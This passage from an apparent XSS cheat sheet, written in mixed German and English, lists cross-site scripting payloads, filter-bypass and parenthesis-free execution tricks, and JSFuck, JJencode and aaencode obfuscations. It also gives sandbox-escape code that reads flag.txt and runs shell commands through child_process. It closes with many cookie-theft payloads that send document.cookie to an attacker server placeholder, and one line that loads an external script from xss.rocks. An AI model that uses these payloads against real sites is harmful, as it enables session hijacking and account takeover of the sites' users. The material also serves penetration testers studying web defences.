log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript innerhalb eines Kommentars

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript ohne Klammern

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Beliebiger Funktionsaufruf (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Es gibt JS code, der unsichere, vom Angreifer kontrollierte Daten wie location.href verwendet. Ein Angreifer könnte dies missbrauchen, um beliebigen JS-Code auszuführen.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:

DOM XSS

Dort findest du eine ausführliche explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them.
Außerdem findest du at the end of the mentioned post eine Erklärung zu DOM Clobbering attacks.

Upgrading Self-XSS

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Sending your session to the admin

Möglicherweise kann ein Benutzer sein Profil mit dem Admin teilen, und wenn die self XSS im Profil des Benutzers steckt und der Admin darauf zugreift, löst er die Schwachstelle aus.

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

You could make the administrator trigger your self XSS and steal his cookies/session.

Andere Umgehungen

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Du könntest prüfen, ob die reflected values auf dem Server (oder im Client) unicode normalized werden, und diese Funktionalität missbrauchen, um Schutzmechanismen zu umgehen. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Aufgrund von RoR mass assignment werden Anführungszeichen in das HTML eingefügt, wodurch die Einschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.
Formularbeispiel (aus diesem Bericht), wenn du das payload sendest:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Das Paar “Key”,“Value” wird folgendermaßen zurückgegeben:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.

Spezielle Kombinationen

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS mit Header-Injection in einer 302-Antwort

Wenn du feststellst, dass du Header in einer 302 Redirect response injizieren kannst, könntest du versuchen, den Browser dazu zu bringen, beliebiges JavaScript auszuführen. Das ist nicht trivial, da moderne Browser den HTTP-Response-Body bei einem HTTP-Statuscode 302 nicht interpretieren, sodass ein simples cross-site scripting Payload nutzlos ist.

In this report und this one kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen, ob eines davon dem Browser erlaubt, das XSS-Payload im Body zu inspizieren und auszuführen.
Bekannte Protokolle: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Nur Buchstaben, Zahlen und Punkte

Wenn du den callback angeben kannst, den javascript ausführen soll, und dieser auf diese Zeichen beschränkt ist. Read this section of this post um zu erfahren, wie man dieses Verhalten ausnutzen kann.

Valid <script> Content-Types to XSS

(From here) Wenn du versuchst, ein Script mit einem content-type wie application/octet-stream zu laden, wird Chrome folgenden Fehler ausgeben:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Die einzigen Content-Types, die Chrome das Ausführen eines geladenen Scripts erlauben, sind die in der const kSupportedJavascriptTypes aus https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script Types to XSS

(Aus here) Also, welche Typen könnten angegeben werden, um ein script zu laden?

<script type="???"></script>

Die Antwort ist:

  • module (Standard, nichts zu erklären)
  • webbundle: Web Bundles ist eine Funktion, mit der man eine Menge Daten (HTML, CSS, JS…) zusammen in eine .wbn-Datei packen kann.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Ermöglicht die Verbesserung der Import-Syntax
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Dieses Verhalten wurde in this writeup verwendet, um eine library auf eval umzubiegen, deren Missbrauch XSS auslösen kann.

  • speculationrules: Diese Funktion dient hauptsächlich dazu, einige Probleme zu lösen, die durch pre-rendering verursacht werden. Sie funktioniert folgendermaßen:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types für XSS

(From here) Die folgenden Content-Types können XSS in allen Browsern ausführen:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? nicht in der Liste, aber ich glaube, ich habe das in einem CTF gesehen)
  • application/rss+xml (off)
  • application/atom+xml (off)

In anderen Browsern können andere Content-Types verwendet werden, um beliebigen JS-Code auszuführen, siehe: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Wenn die Seite einen text/xml content-type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebigen JS-Code auszuführen:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Spezielle Ersetzungsmuster

Wenn etwas wie "some {{template}} data".replace("{{template}}", <user_input>) verwendet wird. Der Angreifer könnte special string replacements verwenden, um einige Schutzmaßnahmen zu umgehen: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Zum Beispiel wurde in this writeup, dies verwendet, um scape a JSON string innerhalb eines Skripts zu ermöglichen und beliebigen Code auszuführen.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Wenn du nur über eine begrenzte Menge an Zeichen verfügst, sieh dir diese anderen gültigen Lösungen für XSJail-Probleme an:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Wenn vor der Ausführung von untrusted code wirklich alles auf undefined gesetzt ist (wie in this writeup), ist es möglich, nützliche Objekte “aus dem Nichts” zu erzeugen, um die Ausführung beliebigen untrusted code zu missbrauchen:

  • Mit import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Indirekter Zugriff auf require

According to this werden Module von Node.js innerhalb einer Funktion umschlossen, wie folgt:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Daher, wenn wir von diesem Modul aus eine andere Funktion aufrufen können, ist es möglich, aus dieser Funktion arguments.callee.caller.arguments[1] zu verwenden, um auf require zuzugreifen:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Ähnlich wie im vorherigen Beispiel ist es möglich, use error handlers zu verwenden, um auf den wrapper des Moduls zuzugreifen und die require-Funktion zu erhalten:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS häufige Payloads

Mehrere Payloads in 1

Steal Info JS

Iframe-Falle

Lasse den Benutzer auf der Seite navigieren, ohne das iframe zu verlassen, und stiehle seine Aktionen (einschließlich Informationen, die in Formularen gesendet werden):

Iframe Traps

Cookies abrufen

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
